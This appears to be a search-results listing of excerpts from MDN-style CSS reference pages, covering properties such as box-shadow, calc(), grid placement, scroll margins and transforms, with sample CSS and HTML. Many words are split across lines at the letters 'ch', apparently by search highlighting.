box-shadow - CSS: Cascading Style Sheets
the presence of the inset keyword
changes the shadow to one inside the frame (as if the content was depressed inside the box).
... interpolation ea
ch shadow in the list (treating none as a 0-length list) is interpolated via the color (as color) component, and x, y, blur, and (when appropriate) spread (as length) components.
... for ea
ch shadow, if both input shadows are or are not inset, then the interpolated shadow must mat
ch the input shadows in that regard.
...if the lists of shadows have different lengths, then the shorter list is padded at the end with shadows whose color is transparent, all lengths are 0, and whose inset (or not) mat
ches the longer list.
box-sizing - CSS: Cascading Style Sheets
this typically makes it mu
ch easier to size elements.
...this makes dealing with the sizes of elements mu
ch easier, and generally eliminates a number of pitfalls you can stumble on while laying out your content.
... on the other hand, when using position: relative or position: absolute, use of box-sizing: content-box allows the positioning values to be relative to the content, and independent of
changes to border and padding sizes, whi
ch is sometimes desirable.
... syntax the box-sizing property is specified as a single keyword
chosen from the list of values below.
calc() - CSS: Cascading Style Sheets
you can use different units for ea
ch value in your expression, if you wish.
... it is permitted to nest calc() functions, in whi
ch case the inner ones are treated as simple parentheses.
... note: the
chrome browser currently won’t accept some values returned by calc() when an integer is expected.
...in this example, the css creates a banner that stret
ches across the window, with a 40-pixel gap between both sides of the banner and the edges of the window: .banner { position: absolute; left: 40px; width: calc(100% - 80px); border: solid black 1px; box-shadow: 1px 2px; background-color: yellow; padding: 6px; text-align: center; box-sizing: border-box; } <div class="banner">this is a banner!</div> automatically sizing form fields to fit their container another use case for calc() is to help ensure that form fields fit in the available spa...
color - CSS: Cascading Style Sheets
currentcolor may be used as an indirect value on other properties and is the default for other color properties, su
ch as border-color.
...it can't be a <gradient>, whi
ch is actually a type of <image>.
...in order to meet current web content accessibility guidelines (wcag), a ratio of 4.5:1 is required for text content and 3:1 for larger text su
ch as headings.
... webaim: color contrast
checker mdn understanding wcag, guideline 1.4 explanations understanding success criterion 1.4.3 | w3c understanding wcag 2.0 formal definition initial valuevaries from one browser to anotherapplies toall elements.
column-span - CSS: Cascading Style Sheets
</p> <p>this is a bun
ch of text split into three columns using the css `columns` property.
... the text is equally distributed over the columns.</p> <p>this is a bun
ch of text split into three columns using the css `columns` property.
... the text is equally distributed over the columns.</p> <p>this is a bun
ch of text split into three columns using the css `columns` property.
... the text is equally distributed over the columns.</p> <p>this is a bun
ch of text split into three columns using the css `columns` property.
contain - CSS: Cascading Style Sheets
the contain css property allows an author to indicate that an element and its contents are, as mu
ch as possible, independent of the rest of the document tree.
... this property is useful on pages that contain a lot of widgets that are all independent, as it can be used to prevent ea
ch widget's internals from having side effects outside of the widget's bounding-box.
... formal definition initial valuenoneapplies toall elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax none | strict | content | [ size | layout | style | paint ] examples simple layout the markup below consists of a number of articles, ea
ch with content: <h1>my blog</h1> <article> <h2>heading of a nice article</h2> <p>content here.</p> </article> <article> <h2>another heading of another article</h2> <img src="graphic.jpg" alt="photo"> <p>more content here.</p> </article> ea
ch <article> and <img> is given a border, and the images are floated: img { float: left; border: 3px solid black; } article { border: 1px soli...
...alt="social"> </article> <article> <h2>another heading of another article</h2> <img src="graphic.jpg" alt="photo"> <p>more content here.</p> </article> img { float: left; border: 3px solid black; } article { border: 1px solid black; } as you can see, because of the way floats work, the first image ends up inside the area of the second article: fixing with contain if we give ea
ch article the contain property with a value of content, when new elements are inserted the browser understands it only needs to recalculate the containing element's subtree, and not anything outside it: <h1>my blog</h1> <article> <h2>heading of a nice article</h2> <p>content here.</p> <img src="i-just-showed-up.jpg" alt="social"> </article> <article> <h2>another heading of another article...
counter-reset - CSS: Cascading Style Sheets
you may specify as many counters to reset as you want, with ea
ch name or name-number pair separated by a space.
... <integer> the value to reset the counter to on ea
ch occurrence of the element.
...]+ | none examples resetting named counters h1 { counter-reset:
chapter section 1 page; /* sets the
chapter and page counters to 0, and the section counter to 1 */ } specifications specification status comment css lists module level 3the definition of 'counter-reset' in that specification.
... working draft no
change.
counter() - CSS: Cascading Style Sheets
/* simple usage */ counter(countername); /*
changing the counter display */ counter(countername, upper-roman) a counter has no visible effect by itself.
...
check the browser compatibility table carefully before using this in production.
... syntax values <custom-ident> a name identifying the counter, whi
ch is the same case-sensitive name used for the counter-reset and counter-increment.
... working draft no
change css level 2 (revision 1)the definition of 'css counters' in that specification.
direction - CSS: Cascading Style Sheets
the direction and unicode-bidi properties are the two only properties whi
ch are not affected by the all shorthand property.
... proposed recommendation no
change.
...if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetdirection
chrome full support 2edge full support 12firefox full support 1ie full support 5.5opera full support 9.2safari full support 1webview android full support 1
chrome android full support 18firefox android full support 4opera android ...
<display-box> - CSS: Cascading Style Sheets
they are replaced by their pseudo-box and their
child boxes.
... please note that the css display level 3 spec defines how the contents value should affect "unusual elements" — elements that aren’t rendered purely by css box concepts su
ch as replaced elements.
...this will cause the element — and in some browser versions, its descendant elements — to no longer be announced by screen reading te
chnology.
...however it also has display: contents specified therefore this <div> will not be rendered, the border and width will no longer apply, and the
child element will be displayed as if the parent had never existed.
grid-column-end - CSS: Cascading Style Sheets
<custom-ident> if there is a named line with the name '<custom-ident>-end', it contributes the first su
ch line to the grid item’s placement.
... note: named grid areas automatically generate implicit named lines of this form, so specifying grid-column-end: foo; will
choose the end edge of that named grid area (unless another line named foo-end was explicitly specified before it).
... span && [ <integer> || <custom-ident> ] contributes a grid span to the grid item’s placement su
ch that the column end edge of the grid item’s grid area is n lines from the start edge.
...if not enough lines with that name exist, all implicit grid lines on the side of the explicit grid corresponding to the sear
ch direction are assumed to have that name for the purpose of counting this span.
grid-column-start - CSS: Cascading Style Sheets
<custom-ident> if there is a named line with the name <custom-ident>-start, it contributes the first su
ch line to the grid item’s placement.
... note: named grid areas automatically generate implicit named lines of this form, so specifying grid-column-start: foo; will
choose the start edge of that named grid area (unless another line named foo-start was explicitly specified before it).
... span && [ <integer> || <custom-ident> ] contributes a grid span to the grid item’s placement, su
ch that the column start edge of the grid item’s grid area is n lines from the end edge.
...if not enough lines with that name exist, all implicit grid lines on the side of the explicit grid corresponding to the sear
ch direction are assumed to have that name for the purpose of counting this span.
grid-row-end - CSS: Cascading Style Sheets
<custom-ident> if there is a named line with the name '<custom-ident>-end', it contributes the first su
ch line to the grid item’s placement.
... note: named grid areas automatically generate implicit named lines of this form, so specifying grid-row-end: foo; will
choose the end edge of that named grid area (unless another line named foo-end was explicitly specified before it).
... span && [ <integer> || <custom-ident> ] contributes a grid span to the grid item’s placement su
ch that the row end edge of the grid item’s grid area is n lines from the start edge.
...if not enough lines with that name exist, all implicit grid lines on the side of the explicit grid corresponding to the sear
ch direction are assumed to have that name for the purpose of counting this span.
grid-row-start - CSS: Cascading Style Sheets
<custom-ident> if there is a named line with the name '<custom-ident>-start', it contributes the first su
ch line to the grid item’s placement.
... note: named grid areas automatically generate implicit named lines of this form, so specifying grid-row-start: foo; will
choose the start edge of that named grid area (unless another line named foo-start was explicitly specified before it).
... span && [ <integer> || <custom-ident> ] contributes a grid span to the grid item’s placement; su
ch that the row start edge of the grid item’s grid area is n lines from the end edge.
...if not enough lines with that name exist, all implicit grid lines on the side of the explicit grid, corresponding to the sear
ch direction, are assumed to have that name for the purpose of counting this span.
image-orientation - CSS: Cascading Style Sheets
description this property is intended only to be used for the purpose of correcting the orientation of images whi
ch were shot with the camera rotated.
...this includes any user-directed
changes to the orientation of the image, or
changes required for printing in portrait versus landscape orientation.
... if used in conjunction with other css properties, su
ch as a <transform-function>, any image-orientation rotation is applied before any other transformations.
...flip ] examples orienting image from image data css #image { image-orientation: from-image; /* can be
changed in the live sample */ } html <img id="image" src="https://udn.realityripple.com/samples/db/4f9fbd7dfb.svg" alt="orientation taken from the image"> <select id="imageorientation"> <option value="from-image">from-image</option> <option value="none">none</option> </select> javascript var imageorientation = document.getelementbyid("imageorientation"); imageorientation.addeventlistener("
change", function (ev...
inherit - CSS: Cascading Style Sheets
the inherit css keyword causes the element for whi
ch it is specified to take the computed value of the property from its parent element.
...for example, if one of them were the
child of a div mat
ched by the rule ...
... candidate recommendation no
changes from level 3.
... candidate recommendation no significant
change from css level 2 (revision 1).
Inheritance - CSS: Cascading Style Sheets
css properties can be categorized in two types: inherited properties, whi
ch by default are set to the computed value of the parent element non-inherited properties, whi
ch by default are set to initial value of the property refer to any css property definition to see whether a specific property inherits by default ("inherited: yes") or not ("inherited: no").
...it does not get the initial value of the property (whi
ch is the color that is used for the root element when the page specifies no color).
... you can control inheritance for all properties at once using the all shorthand property, whi
ch applies its value to all properties.
... for example: font { all: revert; font-size: 200%; font-weight: bold; } this reverts the style of the font property to the user agent's default unless a user stylesheet exists, in whi
ch case that is used instead.
initial - CSS: Cascading Style Sheets
this includes the css shorthand all, with whi
ch initial can be used to restore all css properties to their initial state.
... candidate recommendation no
changes from level 3.
...if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetinitial
chrome full support 1edge full support 13firefox full support 19 full support 19 no support 1 — 24prefixed prefixed implemented with the vendor prefix: -moz-ie no support noopera full support 15safari full support 1.2webview android full support 1
ch...
left - CSS: Cascading Style Sheets
inherit specifies that the value is the same as the computed value from its parent element (whi
ch might not be its containing block).
...(the containing block is the ancestor to whi
ch the element is relatively positioned.) when position is set to relative, the left property specifies the distance the element's left edge is moved to the right from its normal position.
... when both left and right are defined, and width constraints don't prevent it, the element will stret
ch to satisfy both.
... if the element cannot stret
ch to satisfy both, the position of the element is overspecified.
margin-trim - CSS: Cascading Style Sheets
the margin-trim property allows the container to trim the margins of its
children where they adjoin the container’s edges.
... it also truncates any margins collapsed with su
ch a margin.
...it also applies to ::first-letter and ::first-line.inheritednocomputed valueas specifiedanimation typediscrete formal syntax none | in-flow | all examples basic usage once support is implemented for this property, it will probably work like so: when you've got a container with some inline
children and you want to put a margin between ea
ch child but not have it interfere with the spacing at the end of the row, you might do something like this: article { background-color: red; margin: 20px; padding: 20px; display: inline-block; } article > span { background-color: black; color: white; text-align: center; padding: 10px; margin-right: 20px; } the problem here is that...
... you'd end up with 20px too mu
ch spacing at the right of the row, so you'd maybe do this to fix it: span:last-
child { margin-right: 0; } it is a pain having to write another rule to a
chieve this, and it is also not very flexible.
mask-border - CSS: Cascading Style Sheets
formal definition initial valueas ea
ch of the properties of the shorthand:mask-border-mode: alphamask-border-outset: 0mask-border-repeat: stret
chmask-border-slice: 0mask-border-source: nonemask-border-width: autoapplies toall elements; in svg, it applies to container elements excluding the defs element and all graphics elementsinheritednopercentagesas ea
ch of the properties of the shorthand:mask-border-slice: refer to size of the mask...
... border imagemask-border-width: relative to width/height of the mask border image areacomputed valueas ea
ch of the properties of the shorthand:mask-border-mode: as specifiedmask-border-outset: as specified, but with relative lengths converted into absolute lengthsmask-border-repeat: as specifiedmask-border-slice: as specifiedmask-border-source: as specified, but with <url> values made absolutemask-border-width: as specified, but with relative lengths converted into absolute lengthsanimation typeas ea
ch of the properties of the shorthand:mask-border-mode: discretemask-border-outset: discretemask-border-repeat: discretemask-border-slice: discretemask-border-source: discretemask-border-width: discretecreates stacking contextyes formal syntax <'mask-border-source'> | <'mask-border-slice'> [ / ...
...pretty neat, isn't it?</div> css to mat
ch the size of a single diamond, we will use a value of 90 divided by 3, or 30, for slicing the image into corner and edge regions.
... div { width: 200px; background-color: lavender; border: 18px solid salmon; padding: 10px; /* prefixed longhand properties currently supported in
chromium -webkit-mask-box-image-source: url(https://udn.realityripple.com/samples/2d/fd08a3134c.png); -webkit-mask-box-image-slice: 30 fill; -webkit-mask-box-image-width: 20px; -webkit-mask-box-image-repeat: round; -webkit-mask-box-image-outset: 1px; */ /* prefixed shorthand property currently supported in
chromium */ -webkit-mask-box-image: url("https://udn.realityripple.com/samples/2d/fd08a3134c.png") /* source */ 30 fill / /* slice */ 20px / /* width */ 1px /* outset */ r...
mask-position - CSS: Cascading Style Sheets
the mask-position css property sets the initial position, relative to the mask position layer set by mask-origin, for ea
ch defined mask image.
... formal definition initial valuecenterapplies toall elements; in svg, it applies to container elements excluding the defs element and all graphics elementsinheritednopercentagesrefer to size of mask painting area minus size of mask layer image (see the text for background-position)computed valueconsists of two keywords representing the origin and two offsets from that origin, ea
ch given as an absolute length (if given a <length>), otherwise as a percentage.animation typerepeatable list of simple list of length, percentage, or calc formal syntax <position>#where <position> = [ [ left | center | right ] | [ top | center | bottom ] | [ left | center | right | <length-percentage> ] [ top | center | bottom | <length-percentage> ]?
...entage> ] ]where <length-percentage> = <length> | <percentage> examples setting mask position css #wrapper { border: 1px solid black; width: 250px; height: 250px; } #masked { width: 250px; height: 250px; background: blue linear-gradient(red, blue); mask-image: url(https://mdn.mozillademos.org/files/12676/star.svg); mask-repeat: no-repeat; mask-position: top right; /* can be
changed in the live sample */ margin-bottom: 10px; } html <div id="wrapper"> <div id="masked"> </div> </div> <select id="maskposition"> <option value="top">top</option> <option value="center">center</option> <option value="bottom">bottom</option> <option value="top right" selected>top right</option> <option value="center center">center center</option> <option value="bottom left...
...">bottom left</option> <option value="10px 20px">10px 20px</option> <option value="60% 20%">60% 20%</option> </select> javascript var maskposition = document.getelementbyid("maskposition"); maskposition.addeventlistener("
change", function (evt) { document.getelementbyid("masked").style.maskposition = evt.target.value; }); result specifications specification status comment css masking module level 1the definition of 'mask-position' in that specification.
offset - CSS: Cascading Style Sheets
constituent properties this property is a shorthand for the following css properties: offset-an
chor offset-distance offset-path offset-position offset-rotate syntax /* offset position */ offset: auto; offset: 10px 30px; offset: none; /* offset path */ offset: ray(45deg closest-side); offset: path('m 100 100 l 300 100 l 200 300 z'); offset: url(arc.svg); /* offset path with distance and/or rotation */ offset: url(circle.svg) 100px; offset: url(circle.svg) 40%; offset: url(circle.svg) 30deg; offset: url(circle.svg) 50px 20deg; /* including offset an
chor */ offset: ray(45deg closest-side) / 40px 20px; o...
...ffset: url(arc.svg) 2cm / 0.5cm 3cm; offset: url(arc.svg) 30deg / 50px 100px; formal definition initial valueas ea
ch of the properties of the shorthand:offset-position: autooffset-path: noneoffset-distance: 0offset-an
chor: autooffset-rotate: autoapplies totransformable elementsinheritednopercentagesas ea
ch of the properties of the shorthand:offset-position: refertosizeofcontainingblockoffset-distance: refer to the total path lengthoffset-an
chor: relativetowidthandheightcomputed valueas ea
ch of the properties of the shorthand:offset-position: for <length> the absolute value, otherwise a percentageoffset-path: as specifiedoffset-distance: for <length> the absolute value, otherwise a percentageoffset-an
chor: for <length> the absolute value, otherwise a percentageoffset-rotate: as specifiedan...
...imation typeas ea
ch of the properties of the shorthand:offset-position: a positionoffset-path: as <angle>, <basic-shape> or <path()>offset-distance: a length, percentage or calc();offset-an
chor: a positionoffset-rotate: as <angle>, <basic-shape> or <path()>creates stacking contextyes formal syntax [ <'offset-position'>?
...[ / <'offset-an
chor'> ]?
outline - CSS: Cascading Style Sheets
a notable exception is input elements, whi
ch are given default styling by browsers.
... how to design useful and usable focus indicators wcag 2.1: understanding success criterion 2.4.7: focus visible formal definition initial valueas ea
ch of the properties of the shorthand:outline-color: invert, for browsers supporting it, currentcolor for the otheroutline-style: noneoutline-width: mediumapplies toall elementsinheritednocomputed valueas ea
ch of the properties of the shorthand:outline-color: for the keyword invert, the computed value is invert.
...the transparent keyword maps to rgba(0,0,0,0).outline-width: an absolute length; if the keyword none is specified, the computed value is 0outline-style: as specifiedanimation typeas ea
ch of the properties of the shorthand:outline-color: a coloroutline-width: a lengthoutline-style: discrete formal syntax [ <'outline-color'> | <'outline-style'> | <'outline-width'> ] examples using outline to set a focus style html <a href="#">this link has a special focus style.</a> css a { border: 1px solid; border-radius: 3px; display: inline-block; margin: 10px; padding: 5px; } a:focus { outline: 4px dotted #e73; outline-offs...
... recommendation no
change.
overscroll-behavior-y - CSS: Cascading Style Sheets
the overscroll-behavior-y css property sets the browser's behavior when the vertical boundary of a scrolling area is rea
ched.
...oll-behavior-y: contain; overscroll-behavior-y: none; /* global values */ overscroll-behavior-y: inherit; overscroll-behavior-y: initial; overscroll-behavior-y: unset; initial valueautoapplies tonon-replaced block-level elements and non-replaced inline-block elementsinheritednocomputed valueas specifiedanimation typediscrete syntax the overscroll-behavior-y property is specified as a keyword
chosen from the list of values below.
..."bounce" effects or refreshes), but no scroll
chaining occurs to neighbouring scrolling areas, e.g.
... none no scroll
chaining occurs to neighbouring scrolling areas, and default scroll overflow behavior is prevented.
perspective-origin - CSS: Cascading Style Sheets
the perspective-origin css property determines the position at whi
ch the viewer is looking.
... the perspective-origin and perspective properties are atta
ched to the parent of a
child transformed in 3-dimensional space, unlike the perspective() transform function whi
ch is placed on the element being transformed.
...| [ [ left | right ] <length-percentage> ] && [ [ top | bottom ] <length-percentage> ] ]where <length-percentage> = <length> | <percentage> examples
changing the perspective origin this example shows cubes with popular perspective-origin values.
...; height: 100px; margin: 24px; border: none; } .cube { width: 100%; height: 100%; backface-visibility: visible; perspective: 300px; transform-style: preserve-3d; } .face { display: block; position: absolute; width: 100px; height: 100px; border: none; line-height: 100px; font-family: sans-serif; font-size: 60px; color: white; text-align: center; } /* define ea
ch face based on direction */ .front { background: rgba(0, 0, 0, 0.3); transform: translatez(50px); } .back { background: rgba(0, 255, 0, 1); color: black; transform: rotatey(180deg) translatez(50px); } .right { background: rgba(196, 0, 0, 0.7); transform: rotatey(90deg) translatez(50px); } .left { background: rgba(0, 0, 196, 0.7); transform: rotatey(-90deg) translatez(50px); } .to...
perspective - CSS: Cascading Style Sheets
description ea
ch 3d element with z>0 becomes larger; ea
ch 3d-element with z<0 becomes smaller.
... the vanishing point is by default placed at the center of the element, but its position can be
changed using the perspective-origin property.
...it also includes classes for the container box and the cube itself, as well as ea
ch of its faces.
... margin: 75px 0 0 75px; border: none; } .cube { width: 100%; height: 100%; backface-visibility: visible; perspective-origin: 150% 150%; transform-style: preserve-3d; } .face { display: block; position: absolute; width: 100px; height: 100px; border: none; line-height: 100px; font-family: sans-serif; font-size: 60px; color: white; text-align: center; } /* define ea
ch face based on direction */ .front { background: rgba(0, 0, 0, 0.3); transform: translatez(50px); } .back { background: rgba(0, 255, 0, 1); color: black; transform: rotatey(180deg) translatez(50px); } .right { background: rgba(196, 0, 0, 0.7); transform: rotatey(90deg) translatez(50px); } .left { background: rgba(0, 0, 196, 0.7); transform: rotatey(-90deg) translatez(50px); } ...
<position> - CSS: Cascading Style Sheets
it is used in the background-position and offset-an
chor properties.
...ea
ch keyword represents either an edge of the element's box or the center line between two edges.
...positive values are offset towards the right or the bottom, whi
chever is appropriate.
... /* 1-value syntax */ keyword /* either the horizontal or vertical position; the other axis defaults to center */ value /* the position on the x-axis; the y-axis defaults to 50% */ /* 2-value syntax */ keyword keyword /* a keyword for ea
ch direction (the order is irrelevant) */ keyword value /* a keyword for horizontal position, value for vertical position */ value keyword /* a value for horizontal position, keyword for vertical position */ value value /* a value for ea
ch direction (horizontal then vertical) */ /* 4-value syntax */ keyword value keyword value /* ea
ch value is an offset from the k...
revert - CSS: Cascading Style Sheets
the revert css keyword reverts the cascaded value of the property from its current value to the value the property would have had if no
changes had been made by the current style origin to the current element.
... this removes from the cascade all of the styles that have been overridden until the style being rolled back to is rea
ched.
... revert will not affect rules applied to
children of an element you reset (but will remove effects of a parent rule on a
child).
... the revert keyword is different from and should not be confused with initial, whi
ch uses the initial value defined on a per-property basis by the css specifications.
scroll-margin-inline-end - CSS: Cascading Style Sheets
the aim here is to create four horizontally-scrolling blocks, the second and third of whi
ch snap into place, near but not quite at the right of ea
ch block.
...the outer container is styled like this: .scroller { text-align: left; width: 250px; height: 250px; overflow-x: scroll; display: flex; box-sizing: border-box; border: 1px solid #000; scroll-snap-type: x mandatory; } the main parts relevant to the scroll snapping are overflow-x: scroll, whi
ch makes sure the contents will scroll and not be hidden, and scroll-snap-type: x mandatory, whi
ch dictates that scroll snapping must occur along the horizontal axis, and the scrolling will always come to rest on a snap point.
... the
child elements are styled as follows: .scroller > div { flex: 0 0 250px; width: 250px; background-color: #663399; color: #fff; font-size: 30px; display: flex; align-items: center; justify-content: center; scroll-snap-align: end; } .scroller > div:nth-
child(2n) { background-color: #fff; color: #663399; } the most relevant part here is scroll-snap-align: end, whi
ch specifies that the right-hand edges (the "ends" along the x axis, in our case) are the designated snap points.
... last of all we specify the scroll margin values, a different one for the second and third
child elements: .scroller > div:nth-
child(2) { scroll-margin-inline-end: 1rem; } .scroller > div:nth-
child(3) { scroll-margin-inline-end: 2rem; } this means that when scrolling past the middle
child elements, the scrolling will snap to 1rem outside the inline end edge of the second <div>, and 2rems outside the inline end edge of the third <div>.
scroll-margin-inline-start - CSS: Cascading Style Sheets
the aim here is to create four horizontally-scrolling blocks, the second and third of whi
ch snap into place, near but not quite at the left of ea
ch block.
...the outer container is styled like this: .scroller { text-align: left; width: 250px; height: 250px; overflow-x: scroll; display: flex; box-sizing: border-box; border: 1px solid #000; scroll-snap-type: x mandatory; } the main parts relevant to the scroll snapping are overflow-x: scroll, whi
ch makes sure the contents will scroll and not be hidden, and scroll-snap-type: x mandatory, whi
ch dictates that scroll snapping must occur along the horizontal axis, and the scrolling will always come to rest on a snap point.
... the
child elements are styled as follows: .scroller > div { flex: 0 0 250px; width: 250px; background-color: #663399; color: #fff; font-size: 30px; display: flex; align-items: center; justify-content: center; scroll-snap-align: start; } .scroller > div:nth-
child(2n) { background-color: #fff; color: #663399; } the most relevant part here is scroll-snap-align: start, whi
ch specifies that the left-hand edges (the "starts" along the x axis, in our case) are the designated snap points.
... last of all we specify the scroll margin-values, a different one for the second and third
child elements: .scroller > div:nth-
child(2) { scroll-margin-inline-start: 1rem; } .scroller > div:nth-
child(3) { scroll-margin-inline-start: 2rem; } this means that when scrolling past the middle
child elements, the scrolling will snap to 1rem outside the inline start edge of the second <div>, and 2rems outside the inline start edge of the third <div>.
scroll-margin-inline - CSS: Cascading Style Sheets
the aim here is to create four horizontally-scrolling blocks, the second and third of whi
ch snap into place, near but not quite at the right of ea
ch block.
...the outer container is styled like this: .scroller { text-align: left; width: 250px; height: 250px; overflow-x: scroll; display: flex; box-sizing: border-box; border: 1px solid #000; scroll-snap-type: x mandatory; } the main parts relevant to the scroll snapping are overflow-x: scroll, whi
ch makes sure the contents will scroll and not be hidden, and scroll-snap-type: x mandatory, whi
ch dictates that scroll snapping must occur along the horizontal axis, and the scrolling will always come to rest on a snap point.
... the
child elements are styled as follows: .scroller > div { flex: 0 0 250px; width: 250px; background-color: #663399; color: #fff; font-size: 30px; display: flex; align-items: center; justify-content: center; scroll-snap-align: end; } .scroller > div:nth-
child(2n) { background-color: #fff; color: #663399; } the most relevant part here is scroll-snap-align: end, whi
ch specifies that the right-hand edges (the "ends" along the x axis, in our case) are the designated snap points.
... last of all we specify the scroll margin values, a different one for the second and third
child elements: .scroller > div:nth-
child(2) { scroll-margin-inline: 1rem; } .scroller > div:nth-
child(3) { scroll-margin-inline: 2rem; } this means that when scrolling past the middle
child elements, the scrolling will snap to 1rem outside the inline end edge of the second <div>, and 2rems outside the inline end edge of the third <div>.
scroll-snap-coordinate - CSS: Cascading Style Sheets
the scroll-snap-coordinate css property defines the x and y coordinate positions within an element that will align with its nearest ancestor scroll container's scroll-snap-destination for ea
ch respective axis.
...for ea
ch pairing, the first value gives the x coordinate of the snap coordinate, the second value its y coordinate.
... <div> <p>at coordinate (25, 0)</p> <div class="scrollcontainer coordinate25"> <div>1</div> <div>2</div> <div>3</div> </div> </div> <div> <p>at coordinate (50, 0)</p> <div class="scrollcontainer coordinate50"> <div>1</div> <div>2</div> <div>3</div> </div> </div> </div> css #container { display: flex; } #container > div:nth-
child(-n+2) { margin-right: 20px; } .scrollcontainer { width: 100px; overflow: auto; white-space: nowrap; scroll-snap-type: mandatory; font-size: 0; } .scrollcontainer > div { width: 100px; height: 100px; display: inline-block; line-height: 100px; text-align: center; font-size: 50px; } .coordinate0 > div { scroll-snap-coordinate: 0 0; } .coordinate25 > div { scroll-sn...
...ap-coordinate: 25px 0; } .coordinate50 > div { scroll-snap-coordinate: 50px 0; } .scrollcontainer > div:nth-
child(even) { background-color: #87ea87; } .scrollcontainer > div:nth-
child(odd) { background-color: #87ccea; } result specifications not part of any standard.
scrollbar-width - CSS: Cascading Style Sheets
accessibility concerns use this property with caution — setting scrollbar-width to thin or none can make content hard or impossible to scroll if the author does not provide an alternative scrolling me
chanism.
... while swiping gestures or mouse wheels can enable scrolling on su
ch content, some devices have no scroll alternative.
...and introduced in wcag 2.1, criterion 2.5.5 (target size) advises that tou
ch targets should be at least 44px in width and height (although the problem is compounded on high-resolution screens; thorough testing is advised).
...dandelion cucumber earthnut pea peanut soko zuc
chini.</div> result specifications specification status comment css scrollbars level 1the definition of 'scrollbar-width' in that specification.
shape-image-threshold - CSS: Cascading Style Sheets
the shape-image-threshold css property sets the alpha
channel threshold used to extract the shape using an image as the value for shape-outside.
...the gradient is established as a css shape using shape-outside, so that pixels within the gradient whi
ch are at least 20% opaque (that is, those pixels with an alpha component greater than 0.2) are considered part of the shape.
...dolores consectetur iure atque a mollitia dicta repudiandae illum exercitationem aliquam repellendus ipsum porro modi, id nemo eligendi, ar
chitecto ratione quibusdam iusto nisi soluta?
...the same gradient is also used as the image from whi
ch the shape is derived for establishing the float area, using the shape-outside property.
tab-size - CSS: Cascading Style Sheets
the tab-size css property is used to customize the width of tab
characters (u+0009).
... syntax /* <integer> values */ tab-size: 4; tab-size: 0; /* <length> values */ tab-size: 10px; tab-size: 2em; /* global values */ tab-size: inherit; tab-size: initial; tab-size: unset; values <integer> a multiple of the advance width of the space
character (u+0020) to be used as the width of tabs.
... formal definition initial value8applies toblock containersinheritedyescomputed valuethe specified integer or an absolute lengthanimation typea length formal syntax <integer> | <length> examples expanding by
character count pre { tab-size: 4; /* set tab size to 4
characters wide */ } collapse tabs pre { tab-size: 0; /* remove indentation */ } comparing to the default size this example compares a default tab size with a custom tab size.
... html <p>no tab</p> <p>	default tab size of 8
characters wide</p> <p class="custom">	custom tab size of 3
characters wide</p> <p> 3 spaces, equivalent to the custom tab size</p> css p { white-space: pre; } .custom { tab-size: 3; -moz-tab-size: 3; } result specifications specification status comment css text module level 3the definition of 'tab-size' in that specification.
text-combine-upright - CSS: Cascading Style Sheets
the text-combine-upright css property sets the combination of
characters into the space of a single
character.
... this is used to produce an effect that is known as tate-
chū-yoko (縦中横) in japanese, or as 直書橫向 in
chinese.
... all attempts to typeset all consecutive
characters within the box horizontally, su
ch that they take up the space of a single
character within the vertical line of the box.
... attempts to display a sequence of consecutive ascii digits (u+0030–u+0039) that has as many or fewer
characters than the specified integer, su
ch that it takes up the space of a single
character within the vertical line box.
text-decoration-line - CSS: Cascading Style Sheets
the text-decoration-line css property sets the kind of decoration that is used on text in an element, su
ch as an underline or overline.
... underline ea
ch line of text has a decorative line beneath it.
... overline ea
ch line of text has a decorative line above it.
... line-through ea
ch line of text has a decorative line going through its middle.
text-emphasis - CSS: Cascading Style Sheets
the text-emphasis css property applies emphasis marks to text (except spaces and control
characters).
...however, text-emphasis does inherit, whi
ch means it is possible to
change emphasis marks for descendents.
...authors should not specify more than one
character in <string>.
... formal definition initial valueas ea
ch of the properties of the shorthand:text-emphasis-style: nonetext-emphasis-color: currentcolorapplies toall elementsinheritednocomputed valueas ea
ch of the properties of the shorthand:text-emphasis-style: as specifiedtext-emphasis-color: computed coloranimation typeas ea
ch of the properties of the shorthand:text-emphasis-color: a colortext-emphasis-style: discrete formal syntax <'text-emphasis-style'> | <'text-emphasis-color'> examples a heading with emphasis shape and color this example draws a heading with triangles used to emphasize ea
ch character.
text-rendering - CSS: Cascading Style Sheets
one very visible effect is optimizelegibility, whi
ch enables ligatures (ff, fi, fl, etc.) in text smaller than 20px for some fonts (for example, microsoft's calibri, candara, constantia, and corbel, or the dejavu font family).
...certain aspects of fonts — su
ch as kerning — don't scale linearly.
... in svg, when text is scaled up or down, browsers calculate the final size of the text (whi
ch is determined by the specified font size and the applied scale) and request a font of that computed size from the platform's font system.
... candidate recommendation no
change scalable vector graphics (svg) 1.1 (second edition)the definition of 'text-rendering' in that specification.
text-underline-offset - CSS: Cascading Style Sheets
while an element can have multiple text-decoration lines, text-underline-offset only impacts underlining, and not other possible line decoration options su
ch as overline or line-through.
... values auto the browser
chooses the appropriate offset for underlines.
...a percentage inherits as a relative value, and so therefore scales with
changes in the font.
... for a given application of this property, the offset is constant across the whole box that the underline is applied to, even if there are
child elements with different font sizes or vertical alignment.
scale() - CSS: Cascading Style Sheets
this scaling transformation is
characterized by a two-dimensional vector.
... its coordinates define how mu
ch scaling is done in ea
ch direction.
... syntax the scale() function is specified with either one or two values, whi
ch represent the amount of scaling to be applied in ea
ch direction.
...if you need to include su
ch animations on your website, you should provide a control to allow users to turn off animations, preferrably site-wide.
scale3d() - CSS: Cascading Style Sheets
this scaling transformation is
characterized by a three-dimensional vector.
... its coordinates define how mu
ch scaling is done in ea
ch direction.
... syntax the scale3d() function is specified with three values, whi
ch represent the amount of scaling to be applied in ea
ch direction.
... sx000sy000sz sx0000sy0000sz00001 examples without
changing the origin html <div>normal</div> <div class="scaled">scaled</div> css div { width: 80px; height: 80px; background-color: skyblue; } .scaled { transform: perspective(500px) scale3d(2, 0.7, 0.2) translatez(100px); background-color: pink; } result translating the origin of the transformation html <div>normal</div> <div class="scaled">scaled</div> css div { width: 80p...
transform-origin - CSS: Cascading Style Sheets
the transformation origin is the point around whi
ch a transformation is applied.
